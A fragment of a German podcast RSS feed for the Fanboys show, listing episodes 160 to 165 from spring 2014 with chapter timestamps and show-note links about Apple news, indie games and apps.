+ <pubDate>Thu, 15 May 2014 17:39:51 +0200</pubDate>
+ <itunes:duration>00:56:09</itunes:duration>
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:03:15 re:publica
+00:08:36 Facetime nur noch mit aktuellster iOS-Version
+00:13:35 Speedrun vvvvvv
+00:15:26 Apple kauft Beats
+00:19:31 Nintendo geht es weiter schlecht
+00:23:24 Xbone jetzt ohne Kinect und billiger
+00:29:02 Jonathan Blow mal wieder
+00:32:47 …and then it rained
+00:39:11 Storium
+00:44:50 Thomas was Alone
+00:46:12 Mein kleines Großbauprojekt
+00:47:59 Castro
+00:51:20 Kiwanuka
+00:54:34 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2012]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:03:15</td><td>re:publica</td></tr><tr><td>00:08:36</td><td><a href="http://www.heise.de/mac-and-i/meldung/Probleme-bei-FaceTime-Apple-draengt-zu-iOS-7-2176756.html" target="_blank">Facetime nur noch mit aktuellster iOS-Version</td></tr><tr><td>00:13:35</td><td><a href="https://www.youtube.com/watch?v=LTbU5ewenaw" target="_blank">Speedrun vvvvvv</td></tr><tr><td>00:15:26</td><td><a href="http://www.macrumors.com/2014/05/12/jimmy-iovine-dr-dre-wwdc/" target="_blank">Apple kauft Beats</td></tr><tr><td>00:19:31</td><td><a href="http://appleinsider.com/articles/14/05/07/nintendo-loses-another-half-billion-dollars-as-console-sales-slide" target="_blank">Nintendo geht es weiter schlecht</td></tr><tr><td>00:23:24</td><td><a href="http://www.polygon.com/2014/5/13/5713440/xbox-one-no-kinect-release-date-price-microsoft" target="_blank">Xbone jetzt ohne Kinect und billiger</td></tr><tr><td>00:29:02</td><td><a href="http://vimeo.com/94259578" target="_blank">Jonathan Blow mal wieder</td></tr><tr><td>00:32:47</td><td><a href="https://itunes.apple.com/de/app/...-and-then-it-rained/id841446916?mt=8&amp;at=11lqBB&amp;ct=fanboys" target="_blank">…and then it rained</td></tr><tr><td>00:39:11</td><td><a href="http://www.storium.com" target="_blank">Storium</td></tr><tr><td>00:44:50</td><td><a href="https://itunes.apple.com/de/app/id849095637?mt=8&amp;at=11lqBB&amp;ct=fanboys" target="_blank">Thomas was Alone</td></tr><tr><td>00:46:12</td><td><a href="http://aktionstage-politische-bildung.net/spiel/index.html" target="_blank">Mein kleines Großbauprojekt</td></tr><tr><td>00:47:59</td><td><a href="https://itunes.apple.com/de/app/id723142770?mt=8&amp;at=11lqBB&amp;ct=fanboys" target="_blank">Castro</td></tr><tr><td>00:51:20</td><td><a href="https://itunes.apple.com/de/app/kiwanuka/id849796318?l=en&amp;mt=8&amp;at=11lqBB&amp;ct=fanboys" target="_blank">Kiwanuka</td></tr><tr><td>00:54:34</td><td><a href="https://www.youtube.com/watch?v=78g0SyQjU1s" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:03:15" title="re:publica" />
+ <sc:chapter start="00:08:36" title="Facetime nur noch mit aktuellster iOS-Version" href="http://www.heise.de/mac-and-i/meldung/Probleme-bei-FaceTime-Apple-draengt-zu-iOS-7-2176756.html" />
+ <sc:chapter start="00:13:35" title="Speedrun vvvvvv" href="https://www.youtube.com/watch?v=LTbU5ewenaw" />
+ <sc:chapter start="00:15:26" title="Apple kauft Beats" href="http://www.macrumors.com/2014/05/12/jimmy-iovine-dr-dre-wwdc/" />
+ <sc:chapter start="00:19:31" title="Nintendo geht es weiter schlecht" href="http://appleinsider.com/articles/14/05/07/nintendo-loses-another-half-billion-dollars-as-console-sales-slide" />
+ <sc:chapter start="00:23:24" title="Xbone jetzt ohne Kinect und billiger" href="http://www.polygon.com/2014/5/13/5713440/xbox-one-no-kinect-release-date-price-microsoft" />
+ <sc:chapter start="00:29:02" title="Jonathan Blow mal wieder" href="http://vimeo.com/94259578" />
+ <sc:chapter start="00:32:47" title="…and then it rained" href="https://itunes.apple.com/de/app/...-and-then-it-rained/id841446916?mt=8&amp;at=11lqBB&amp;ct=fanboys" />
+ <sc:chapter start="00:39:11" title="Storium" href="http://www.storium.com" />
+ <sc:chapter start="00:44:50" title="Thomas was Alone" href="https://itunes.apple.com/de/app/id849095637?mt=8&amp;at=11lqBB&amp;ct=fanboys" />
+ <sc:chapter start="00:46:12" title="Mein kleines Großbauprojekt" href="http://aktionstage-politische-bildung.net/spiel/index.html" />
+ <sc:chapter start="00:47:59" title="Castro" href="https://itunes.apple.com/de/app/id723142770?mt=8&amp;at=11lqBB&amp;ct=fanboys" />
+ <sc:chapter start="00:51:20" title="Kiwanuka" href="https://itunes.apple.com/de/app/kiwanuka/id849796318?l=en&amp;mt=8&amp;at=11lqBB&amp;ct=fanboys" />
+ <sc:chapter start="00:54:34" title="Rausschmeisser" href="https://www.youtube.com/watch?v=78g0SyQjU1s" />
+ </sc:chapters>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?url=http%3A%2F%2Ffanboys.fm%2F%23165&amp;user_id=map&amp;title=Fanboys%20Episode%20165&amp;tags=podcast&amp;category=audio&amp;language=de_DE" type="text/html" />
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#165:" />
+ </item>
+ <item>
+ <title>Episode #164 - Müllkippen News</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Müllkippen News</itunes:subtitle>
+ <enclosure url="http://fanboys.fm/episodes/FAN164.mp3" length="25083827" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN164</guid>
+ <pubDate>Wed, 30 Apr 2014 16:19:38 +0200</pubDate>
+ <itunes:duration>00:52:42</itunes:duration>
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:03:38 ET Müllkippen News
+00:08:09 Windows Phone Store jetzt besser als App Store
+00:11:35 Comixology jetzt ohne IAP
+00:15:10 Tipp: python -m SimpleHTTPServer
+00:16:55 Tipp: iOS-Web-Debugging mit Dektop-Safari
+00:20:13 Speedrun durch Meta-Programming
+00:27:48 Indiehaven-Podcast
+00:29:17 The final hours of Titan Fall
+00:31:20 Brothers
+00:32:17 Life goes on
+00:36:57 Fract :(
+00:39:25 Ancillary Justice von Ann Leckie
+00:45:27 Dark Souls
+00:50:36 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2012]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:03:38</td><td><a href="http://arstechnica.com/gaming/2014/04/digging-up-meaning-from-the-rubble-of-an-excavated-atari-landfill/" target="_blank">ET Müllkippen News</td></tr><tr><td>00:08:09</td><td><a href="http://blogs.windows.com/windows/b/buildingapps/archive/2014/04/17/respond-to-app-reviews-a-phased-rollout.aspx" target="_blank">Windows Phone Store jetzt besser als App Store</td></tr><tr><td>00:11:35</td><td><a href="http://comicbook.com/blog/2014/04/27/gerry-conway-the-comixology-outrage/" target="_blank">Comixology jetzt ohne IAP</td></tr><tr><td>00:15:10</td><td>Tipp: python -m SimpleHTTPServer</td></tr><tr><td>00:16:55</td><td>Tipp: iOS-Web-Debugging mit Dektop-Safari</td></tr><tr><td>00:20:13</td><td><a href="http://tasvideos.org/forum/viewtopic.php?t=15249" target="_blank">Speedrun durch Meta-Programming</td></tr><tr><td>00:27:48</td><td><a href="http://indiehaven.com/category/podcast/" target="_blank">Indiehaven-Podcast</td></tr><tr><td>00:29:17</td><td><a href="https://itunes.apple.com/de/app/the-final-hours-of-titanfall/id842741547?l=en&amp;mt=8&amp;at=11lqBB&amp;ct=fanboys" target="_blank">The final hours of Titan Fall</td></tr><tr><td>00:31:20</td><td><a href="http://en.wikipedia.org/wiki/Brothers:_A_Tale_of_Two_Sons" target="_blank">Brothers</td></tr><tr><td>00:32:17</td><td><a href="http://store.steampowered.com/video/250050?l=german" target="_blank">Life goes on</td></tr><tr><td>00:36:57</td><td><a href="http://steamcommunity.com/app/243220/discussions/1/558754260594575883/" target="_blank">Fract :(</td></tr><tr><td>00:39:25</td><td><a href="http://www.annleckie.com/novel/ancillary-justice/" target="_blank">Ancillary Justice von Ann Leckie</td></tr><tr><td>00:45:27</td><td><a href="http://www.escapistmagazine.com/articles/view/video-games/columns/extra-punctuation/11045-A-Beginners-Guide-to-Dark-Souls-7-Steps-to-Sucking-Less" target="_blank">Dark Souls</td></tr><tr><td>00:50:36</td><td><a href="https://www.youtube.com/watch?v=Lp0q7_GwDnw" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:03:38" title="ET Müllkippen News" href="http://arstechnica.com/gaming/2014/04/digging-up-meaning-from-the-rubble-of-an-excavated-atari-landfill/" />
+ <sc:chapter start="00:08:09" title="Windows Phone Store jetzt besser als App Store" href="http://blogs.windows.com/windows/b/buildingapps/archive/2014/04/17/respond-to-app-reviews-a-phased-rollout.aspx" />
+ <sc:chapter start="00:11:35" title="Comixology jetzt ohne IAP" href="http://comicbook.com/blog/2014/04/27/gerry-conway-the-comixology-outrage/" />
+ <sc:chapter start="00:15:10" title="Tipp: python -m SimpleHTTPServer" />
+ <sc:chapter start="00:16:55" title="Tipp: iOS-Web-Debugging mit Dektop-Safari" />
+ <sc:chapter start="00:20:13" title="Speedrun durch Meta-Programming" href="http://tasvideos.org/forum/viewtopic.php?t=15249" />
+ <sc:chapter start="00:27:48" title="Indiehaven-Podcast" href="http://indiehaven.com/category/podcast/" />
+ <sc:chapter start="00:29:17" title="The final hours of Titan Fall" href="https://itunes.apple.com/de/app/the-final-hours-of-titanfall/id842741547?l=en&amp;mt=8&amp;at=11lqBB&amp;ct=fanboys" />
+ <sc:chapter start="00:31:20" title="Brothers" href="http://en.wikipedia.org/wiki/Brothers:_A_Tale_of_Two_Sons" />
+ <sc:chapter start="00:32:17" title="Life goes on" href="http://store.steampowered.com/video/250050?l=german" />
+ <sc:chapter start="00:36:57" title="Fract :(" href="http://steamcommunity.com/app/243220/discussions/1/558754260594575883/" />
+ <sc:chapter start="00:39:25" title="Ancillary Justice von Ann Leckie" href="http://www.annleckie.com/novel/ancillary-justice/" />
+ <sc:chapter start="00:45:27" title="Dark Souls" href="http://www.escapistmagazine.com/articles/view/video-games/columns/extra-punctuation/11045-A-Beginners-Guide-to-Dark-Souls-7-Steps-to-Sucking-Less" />
+ <sc:chapter start="00:50:36" title="Rausschmeisser" href="https://www.youtube.com/watch?v=Lp0q7_GwDnw" />
+ </sc:chapters>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?url=http%3A%2F%2Ffanboys.fm%2F%23164&amp;user_id=map&amp;title=Fanboys%20Episode%20164&amp;tags=podcast&amp;category=audio&amp;language=de_DE" type="text/html" />
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#164:" />
+ </item>
+ <item>
+ <title>Episode #163 - Gallensteine im Herz</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Gallensteine im Herz</itunes:subtitle>
+ <enclosure url="http://fanboys.fm/episodes/FAN163.mp3" length="24911577" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN163</guid>
+ <pubDate>Thu, 24 Apr 2014 17:20:42 +0200</pubDate>
+ <itunes:duration>00:52:32</itunes:duration>
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:03:28 iOS 7.1.1 / OS X Security Update
+00:04:54 Jetzt mit IAP Vermerk in den Charts
+00:07:19 Appleseed jetzt offen für alle
+00:09:44 Apple Quartalszahlen - Aktiensplit
+00:17:57 Nike stellt Fuelband ein
+00:20:04 Antichamber Talk
+00:25:39 Rebel Game Jam
+00:27:30 Phaser.io
+00:33:05 Hitman Go
+00:35:46 Stranded
+00:39:07 Trials Fusion doch für 360
+00:46:43 0RBITALIS
+00:50:50 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2012]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:03:28</td><td>iOS 7.1.1 / OS X Security Update</td></tr><tr><td>00:04:54</td><td><a href="http://www.macrumors.com/2014/04/22/in-app-purchases-top-charts/" target="_blank">Jetzt mit IAP Vermerk in den Charts</td></tr><tr><td>00:07:19</td><td><a href="https://appleseed.apple.com/sp/betaprogram" target="_blank">Appleseed jetzt offen für alle</td></tr><tr><td>00:09:44</td><td><a href="http://www.cnet.com/news/apple-earnings-tops-estimates-announces-7-for-1-stock-split/" target="_blank">Apple Quartalszahlen - Aktiensplit</td></tr><tr><td>00:17:57</td><td><a href="http://www.cnet.com/news/nike-fires-fuelband-engineers-will-stop-making-wearable-hardware/" target="_blank">Nike stellt Fuelband ein</td></tr><tr><td>00:20:04</td><td><a href="http://indiegames.com/2014/04/video_breaking_down_the_seven-.html" target="_blank">Antichamber Talk</td></tr><tr><td>00:25:39</td><td><a href="http://www.rebelgamejam.com" target="_blank">Rebel Game Jam</td></tr><tr><td>00:27:30</td><td><a href="http://phaser.io" target="_blank">Phaser.io</td></tr><tr><td>00:33:05</td><td><a href="https://itunes.apple.com/us/app/hitman-go/id731645633?mt=8&amp;at=11lqBB&amp;ct=fanboys" target="_blank">Hitman Go</td></tr><tr><td>00:35:46</td><td><a href="http://www.petermoorhead.com/stranded/" target="_blank">Stranded</td></tr><tr><td>00:39:07</td><td>Trials Fusion doch für 360</td></tr><tr><td>00:46:43</td><td><a href="http://www.ludumdare.com/compo/2014/04/17/0rbitalis-from-ld48-to-steam-in-100-days/" target="_blank">0RBITALIS</td></tr><tr><td>00:50:50</td><td><a href="http://www.danbarham.com/dinklage/" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:03:28" title="iOS 7.1.1 / OS X Security Update" />
+ <sc:chapter start="00:04:54" title="Jetzt mit IAP Vermerk in den Charts" href="http://www.macrumors.com/2014/04/22/in-app-purchases-top-charts/" />
+ <sc:chapter start="00:07:19" title="Appleseed jetzt offen für alle" href="https://appleseed.apple.com/sp/betaprogram" />
+ <sc:chapter start="00:09:44" title="Apple Quartalszahlen - Aktiensplit" href="http://www.cnet.com/news/apple-earnings-tops-estimates-announces-7-for-1-stock-split/" />
+ <sc:chapter start="00:17:57" title="Nike stellt Fuelband ein" href="http://www.cnet.com/news/nike-fires-fuelband-engineers-will-stop-making-wearable-hardware/" />
+ <sc:chapter start="00:20:04" title="Antichamber Talk" href="http://indiegames.com/2014/04/video_breaking_down_the_seven-.html" />
+ <sc:chapter start="00:25:39" title="Rebel Game Jam" href="http://www.rebelgamejam.com" />
+ <sc:chapter start="00:27:30" title="Phaser.io" href="http://phaser.io" />
+ <sc:chapter start="00:33:05" title="Hitman Go" href="https://itunes.apple.com/us/app/hitman-go/id731645633?mt=8&amp;at=11lqBB&amp;ct=fanboys" />
+ <sc:chapter start="00:35:46" title="Stranded" href="http://www.petermoorhead.com/stranded/" />
+ <sc:chapter start="00:39:07" title="Trials Fusion doch für 360" />
+ <sc:chapter start="00:46:43" title="0RBITALIS" href="http://www.ludumdare.com/compo/2014/04/17/0rbitalis-from-ld48-to-steam-in-100-days/" />
+ <sc:chapter start="00:50:50" title="Rausschmeisser" href="http://www.danbarham.com/dinklage/" />
+ </sc:chapters>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?url=http%3A%2F%2Ffanboys.fm%2F%23163&amp;user_id=map&amp;title=Fanboys%20Episode%20163&amp;tags=podcast&amp;category=audio&amp;language=de_DE" type="text/html" />
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#163:" />
+ </item>
+ <item>
+ <title>Episode #162 - Erdbeerquadrat</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Erdbeerquadrat</itunes:subtitle>
+ <enclosure url="http://fanboys.fm/episodes/FAN162.mp3" length="39191215" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN162</guid>
+ <pubDate>Thu, 17 Apr 2014 17:52:47 +0200</pubDate>
+ <itunes:duration>01:25:23</itunes:duration>
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:01:52 WWDC
+00:05:39 Shazaam integriert in iOS 8?
+00:08:20 iPhone 6 rumor roundup
+00:14:05 Monument Valley Blogpost
+00:20:52 GDC Vault The art of The Witness
+00:22:08 Jonathan Blow bei der A Maze
+00:25:27 A Maze
+00:35:31 Heartbleed
+00:44:15 Nuclear Throne (Vlambeer) development live stream
+00:48:37 MEG:RVO -
+00:51:00 Doublefine spricht über Zahlen
+00:57:57 F2P - Trials Frontier
+01:03:45 Superhot
+01:06:51 Untrusted
+01:09:20 15 Coins
+01:11:39 Hearthstone
+01:13:24 Git Pro
+01:16:09 Tabletop Deathmatch
+01:18:12 Monkey Business
+01:20:00 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2012]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:01:52</td><td>WWDC</td></tr><tr><td>00:05:39</td><td><a href="http://www.macrumors.com/2014/04/16/apple-shazam-song-identification/" target="_blank">Shazaam integriert in iOS 8?</td></tr><tr><td>00:08:20</td><td><a href="http://www.macrumors.com/roundup/iphone-6/" target="_blank">iPhone 6 rumor roundup</td></tr><tr><td>00:14:05</td><td><a href="http://monumentvalleygame.squarespace.com/blog/2014/4/7/on-top-of-the-world" target="_blank">Monument Valley Blogpost</td></tr><tr><td>00:20:52</td><td><a href="http://gdcvault.com/play/1020552/The-Art-of-The" target="_blank">GDC Vault The art of The Witness</td></tr><tr><td>00:22:08</td><td><a href="https://voicerepublic.com/venues/155/talks/47" target="_blank">Jonathan Blow bei der A Maze</td></tr><tr><td>00:25:27</td><td><a href="http://amaze-berlin.de" target="_blank">A Maze</td></tr><tr><td>00:35:31</td><td><a href="https://www.schneier.com/blog/archives/2014/04/heartbleed.html" target="_blank">Heartbleed</td></tr><tr><td>00:44:15</td><td><a href="http://www.twitch.tv/vlambeer," target="_blank">Nuclear Throne (Vlambeer) development live stream</td></tr><tr><td>00:48:37</td><td><a href="https://itunes.apple.com/de/app/id697219218?mt=8&amp;at=11lqBB&amp;ct=fanboys" target="_blank">MEG:RVO -</td></tr><tr><td>00:51:00</td><td><a href="http://www.doublefine.com/forums/viewthread/13738/" target="_blank">Doublefine spricht über Zahlen</td></tr><tr><td>00:57:57</td><td><a href="https://itunes.apple.com/de/app/trials-frontier/id659283309?l=en&amp;mt=8" target="_blank">F2P - Trials Frontier</td></tr><tr><td>01:03:45</td><td><a href="http://superhotgame.com" target="_blank">Superhot</td></tr><tr><td>01:06:51</td><td><a href="http://alexnisnevich.github.io/untrusted/" target="_blank">Untrusted</td></tr><tr><td>01:09:20</td><td><a href="https://itunes.apple.com/de/app/15-coins/id812850082?mt=8&amp;at=11lqBB&amp;ct=fanboys" target="_blank">15 Coins</td></tr><tr><td>01:11:39</td><td><a href="https://itunes.apple.com/us/app/hearthstone-heroes-warcraft/id625257520?mt=8" target="_blank">Hearthstone</td></tr><tr><td>01:13:24</td><td><a href="http://git-scm.com/book" target="_blank">Git Pro</td></tr><tr><td>01:16:09</td><td><a href="http://tabletopdeathmatch.com" target="_blank">Tabletop Deathmatch</td></tr><tr><td>01:18:12</td><td><a href="http://codingmonkeys.de/tv" target="_blank">Monkey Business</td></tr><tr><td>01:20:00</td><td><a href="https://www.youtube.com/watch?v=QDvt5q6bt1s" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:01:52" title="WWDC" />
+ <sc:chapter start="00:05:39" title="Shazaam integriert in iOS 8?" href="http://www.macrumors.com/2014/04/16/apple-shazam-song-identification/" />
+ <sc:chapter start="00:08:20" title="iPhone 6 rumor roundup" href="http://www.macrumors.com/roundup/iphone-6/" />
+ <sc:chapter start="00:14:05" title="Monument Valley Blogpost" href="http://monumentvalleygame.squarespace.com/blog/2014/4/7/on-top-of-the-world" />
+ <sc:chapter start="00:20:52" title="GDC Vault The art of The Witness" href="http://gdcvault.com/play/1020552/The-Art-of-The" />
+ <sc:chapter start="00:22:08" title="Jonathan Blow bei der A Maze" href="https://voicerepublic.com/venues/155/talks/47" />
+ <sc:chapter start="00:25:27" title="A Maze" href="http://amaze-berlin.de" />
+ <sc:chapter start="00:35:31" title="Heartbleed" href="https://www.schneier.com/blog/archives/2014/04/heartbleed.html" />
+ <sc:chapter start="00:44:15" title="Nuclear Throne (Vlambeer) development live stream" href="http://www.twitch.tv/vlambeer," />
+ <sc:chapter start="00:48:37" title="MEG:RVO -" href="https://itunes.apple.com/de/app/id697219218?mt=8&amp;at=11lqBB&amp;ct=fanboys" />
+ <sc:chapter start="00:51:00" title="Doublefine spricht über Zahlen" href="http://www.doublefine.com/forums/viewthread/13738/" />
+ <sc:chapter start="00:57:57" title="F2P - Trials Frontier" href="https://itunes.apple.com/de/app/trials-frontier/id659283309?l=en&amp;mt=8" />
+ <sc:chapter start="01:03:45" title="Superhot" href="http://superhotgame.com" />
+ <sc:chapter start="01:06:51" title="Untrusted" href="http://alexnisnevich.github.io/untrusted/" />
+ <sc:chapter start="01:09:20" title="15 Coins" href="https://itunes.apple.com/de/app/15-coins/id812850082?mt=8&amp;at=11lqBB&amp;ct=fanboys" />
+ <sc:chapter start="01:11:39" title="Hearthstone" href="https://itunes.apple.com/us/app/hearthstone-heroes-warcraft/id625257520?mt=8" />
+ <sc:chapter start="01:13:24" title="Git Pro" href="http://git-scm.com/book" />
+ <sc:chapter start="01:16:09" title="Tabletop Deathmatch" href="http://tabletopdeathmatch.com" />
+ <sc:chapter start="01:18:12" title="Monkey Business" href="http://codingmonkeys.de/tv" />
+ <sc:chapter start="01:20:00" title="Rausschmeisser" href="https://www.youtube.com/watch?v=QDvt5q6bt1s" />
+ </sc:chapters>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?url=http%3A%2F%2Ffanboys.fm%2F%23162&amp;user_id=map&amp;title=Fanboys%20Episode%20162&amp;tags=podcast&amp;category=audio&amp;language=de_DE" type="text/html" />
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#162:" />
+ </item>
+ <item>
+ <title>Episode #161 - Nie wieder Freizeit, für immer.</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Nie wieder Freizeit, für immer.</itunes:subtitle>
+ <enclosure url="http://fanboys.fm/episodes/FAN161.mp3" length="41613884" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN161</guid>
+ <pubDate>Thu, 03 Apr 2014 18:40:32 +0200</pubDate>
+ <itunes:duration>01:26:40</itunes:duration>
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:03:05 Irgendwas mit Netzneutralität
+00:06:33 iPhone 6?
+00:13:39 Keybase.io
+00:20:40 Amazon fireTV
+00:22:54 Amazon Game Studios
+00:27:30 Threes Hintergrundartikel
+00:31:17 Gamasutra über Klone
+00:35:18 GAME_JAM
+00:45:01 Fantastical 2 for iPad
+00:47:54 Clark
+00:53:46 FTL iPad und FTL Advanced Edition
+01:01:02 Monument Valley
+01:09:09 Spaceteam auf Deutsch und Kickstarter
+01:14:03 Hearthstone für iPad
+01:17:03 Monkey Business
+01:21:40 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2012]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:03:05</td><td>Irgendwas mit Netzneutralität</td></tr><tr><td>00:06:33</td><td><a href="http://www.macrumors.com/2014/03/31/foxconn-iphone-6-images/" target="_blank">iPhone 6?</td></tr><tr><td>00:13:39</td><td>Keybase.io</td></tr><tr><td>00:20:40</td><td><a href="http://www.polygon.com/2014/4/2/5574184/amazon-firetv-set-top-box-games-streaming-video" target="_blank">Amazon fireTV</td></tr><tr><td>00:22:54</td><td><a href="https://www.youtube.com/watch?v=ZlVLhqj1weY" target="_blank">Amazon Game Studios</td></tr><tr><td>00:27:30</td><td><a href="http://asherv.com/threes/threemails/" target="_blank">Threes Hintergrundartikel</td></tr><tr><td>00:31:17</td><td><a href="http://gamasutra.com/view/news/214122/Threes_clones_and_cornflakes_A_view_on_casual_games.php" target="_blank">Gamasutra über Klone</td></tr><tr><td>00:35:18</td><td><a href="http://indiestatik.com/2014/03/31/most-expensive-game-jam/" target="_blank">GAME_JAM</td></tr><tr><td>00:45:01</td><td><a href="https://itunes.apple.com/de/app/fantastical-2-for-ipad-calendar/id830708155?l=en&amp;mt=8&amp;at=11lqBB&amp;ct=fanboys" target="_blank">Fantastical 2 for iPad</td></tr><tr><td>00:47:54</td><td><a href="https://itunes.apple.com/de/app/clarc/id767608803?mt=8&amp;at=11lqBB&amp;ct=fanboys" target="_blank">Clark</td></tr><tr><td>00:53:46</td><td><a href="https://itunes.apple.com/us/app/ftl-faster-than-light/id833951143?mt=8&amp;at=11lqBB&amp;ct=fanboys" target="_blank">FTL iPad und FTL Advanced Edition</td></tr><tr><td>01:01:02</td><td><a href="https://itunes.apple.com/us/app/monument-valley/id728293409?mt=8&amp;at=11lqBB&amp;ct=fanboys" target="_blank">Monument Valley</td></tr><tr><td>01:09:09</td><td><a href="https://www.kickstarter.com/projects/hengineer/spaceteam-admirals-club" target="_blank">Spaceteam auf Deutsch und Kickstarter</td></tr><tr><td>01:14:03</td><td><a href="https://itunes.apple.com/ca/app/hearthstone-heroes-warcraft/id625257520?mt=8&amp;at=11lqBB&amp;ct=fanboys" target="_blank">Hearthstone für iPad</td></tr><tr><td>01:17:03</td><td><a href="http://codingmonkeys.de/tv" target="_blank">Monkey Business</td></tr><tr><td>01:21:40</td><td><a href="https://www.youtube.com/watch?v=ZZ06aVZpGYA" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:03:05" title="Irgendwas mit Netzneutralität" />
+ <sc:chapter start="00:06:33" title="iPhone 6?" href="http://www.macrumors.com/2014/03/31/foxconn-iphone-6-images/" />
+ <sc:chapter start="00:13:39" title="Keybase.io" />
+ <sc:chapter start="00:20:40" title="Amazon fireTV" href="http://www.polygon.com/2014/4/2/5574184/amazon-firetv-set-top-box-games-streaming-video" />
+ <sc:chapter start="00:22:54" title="Amazon Game Studios" href="https://www.youtube.com/watch?v=ZlVLhqj1weY" />
+ <sc:chapter start="00:27:30" title="Threes Hintergrundartikel" href="http://asherv.com/threes/threemails/" />
+ <sc:chapter start="00:31:17" title="Gamasutra über Klone" href="http://gamasutra.com/view/news/214122/Threes_clones_and_cornflakes_A_view_on_casual_games.php" />
+ <sc:chapter start="00:35:18" title="GAME_JAM" href="http://indiestatik.com/2014/03/31/most-expensive-game-jam/" />
+ <sc:chapter start="00:45:01" title="Fantastical 2 for iPad" href="https://itunes.apple.com/de/app/fantastical-2-for-ipad-calendar/id830708155?l=en&amp;mt=8&amp;at=11lqBB&amp;ct=fanboys" />
+ <sc:chapter start="00:47:54" title="Clark" href="https://itunes.apple.com/de/app/clarc/id767608803?mt=8&amp;at=11lqBB&amp;ct=fanboys" />
+ <sc:chapter start="00:53:46" title="FTL iPad und FTL Advanced Edition" href="https://itunes.apple.com/us/app/ftl-faster-than-light/id833951143?mt=8&amp;at=11lqBB&amp;ct=fanboys" />
+ <sc:chapter start="01:01:02" title="Monument Valley" href="https://itunes.apple.com/us/app/monument-valley/id728293409?mt=8&amp;at=11lqBB&amp;ct=fanboys" />
+ <sc:chapter start="01:09:09" title="Spaceteam auf Deutsch und Kickstarter" href="https://www.kickstarter.com/projects/hengineer/spaceteam-admirals-club" />
+ <sc:chapter start="01:14:03" title="Hearthstone für iPad" href="https://itunes.apple.com/ca/app/hearthstone-heroes-warcraft/id625257520?mt=8&amp;at=11lqBB&amp;ct=fanboys" />
+ <sc:chapter start="01:17:03" title="Monkey Business" href="http://codingmonkeys.de/tv" />
+ <sc:chapter start="01:21:40" title="Rausschmeisser" href="https://www.youtube.com/watch?v=ZZ06aVZpGYA" />
+ </sc:chapters>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?url=http%3A%2F%2Ffanboys.fm%2F%23161&amp;user_id=map&amp;title=Fanboys%20Episode%20161&amp;tags=podcast&amp;category=audio&amp;language=de_DE" type="text/html" />
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#161:" />
+ </item>
+ <item>
+ <title>Episode #160 - Das Freemium-Pferd</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Das Freemium-Pferd</itunes:subtitle>
+ <enclosure url="http://fanboys.fm/episodes/FAN160.mp3" length="26262556" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN160</guid>
+ <pubDate>Thu, 27 Mar 2014 16:32:41 +0100</pubDate>
+ <itunes:duration>00:55:28</itunes:duration>
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:05:09 Twitter mit Photo-tagging und bis zu vier Photos
+00:09:16 IGF
+00:11:52 App Store Indie Showcase
+00:13:52 Facebook kauft Oculus
+00:24:54 Disney kauft PewDiePie
+00:27:05 King an der Börse
+00:29:51 Nix mit Tischtennisroboter
+00:34:13 Tipp: Youtube und Untertitel
+00:37:05 Tipp: Korrekturlesen
+00:38:35 Star Horizon
+00:41:39 Starbound
+00:47:26 The Collider
+00:53:24 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2012]]></itunes:summary>
